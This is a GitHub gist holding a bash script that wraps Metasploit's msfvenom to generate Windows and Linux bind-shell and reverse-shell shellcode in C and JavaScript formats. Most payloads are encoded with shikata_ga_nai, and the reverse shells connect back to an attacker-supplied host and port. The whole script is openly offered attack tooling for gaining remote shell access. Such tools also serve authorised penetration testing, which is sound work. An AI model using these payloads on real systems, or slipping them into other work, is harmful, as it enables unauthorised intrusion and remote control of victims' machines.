Last active
November 30, 2018 17:58
-
-
Save ninp0/43a60c6a8e929fef8f68fe35d4dfebe6 to your computer and use it in GitHub Desktop.
Common Shells Generated w/ msfvenom
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash --login | |
msf_root='/opt/metasploit-framework-dev' | |
payload="${1}" | |
lhost="${2}" | |
lport="${3}" | |
usage() { | |
echo "${0} bind_win <lport>||bind_lin <lport>||rev_win <lhost> <lport>||rev_lin <lhost> <lport>||rev_win_js <lhost> <lport>||rev_lin_js <lhost> <lport>" | |
exit 1 | |
} | |
if [[ $lhost == '' && ( $payload == 'rev_win' || $payload == 'rev_lin' || $payload == 'rev_win_js' || $payload == 'rev_lin_js' ) ]]; then | |
usage | |
fi | |
if [[ $lport == '' && ( $payload == 'bind_win' || $payload == 'bind_lin' ) ]]; then | |
lport="${2}" | |
if [[ $lport == '' ]]; then | |
lport=9999 | |
fi | |
else | |
lport=9999 | |
fi | |
case $payload in | |
bind_win) payload='windows/shell_bind_tcp' | |
cd $msf_root && ./msfvenom -p $payload LPORT=$lport EXITFUNC=thread -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai --smallest | |
;; | |
bind_lin) payload='linux/x86/shell_bind_tcp' | |
cd $msf_root && ./msfvenom -p $payload LPORT=$lport EXITFUNC=thread -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai --smallest | |
;; | |
rev_win) payload='windows/shell_reverse_tcp' | |
cd $msf_root && ./msfvenom -p $payload LHOST=$lhost LPORT=$lport EXITFUNC=thread -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai --smallest | |
;; | |
rev_lin) payload='linux/x86/shell_reverse_tcp' | |
cd $msf_root && ./msfvenom -p $payload LHOST=$lhost LPORT=$lport EXITFUNC=thread -f c -b "\x00\x0a\x0d\x20" –e x86/shikata_ga_nai --smallest | |
;; | |
rev_win_js) payload='windows/shell_reverse_tcp' | |
cd $msf_root && ./msfvenom -p $payload LHOST=$lhost LPORT=$lport -f js_le –e generic/none --smallest | |
;; | |
rev_lin_js) payload='linux/x86/shell_reverse_tcp' | |
cd $msf_root && ./msfvenom -p $payload LHOST=$lhost LPORT=$lport -f js_le –e generic/none --smallest | |
;; | |
*) usage | |
esac | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment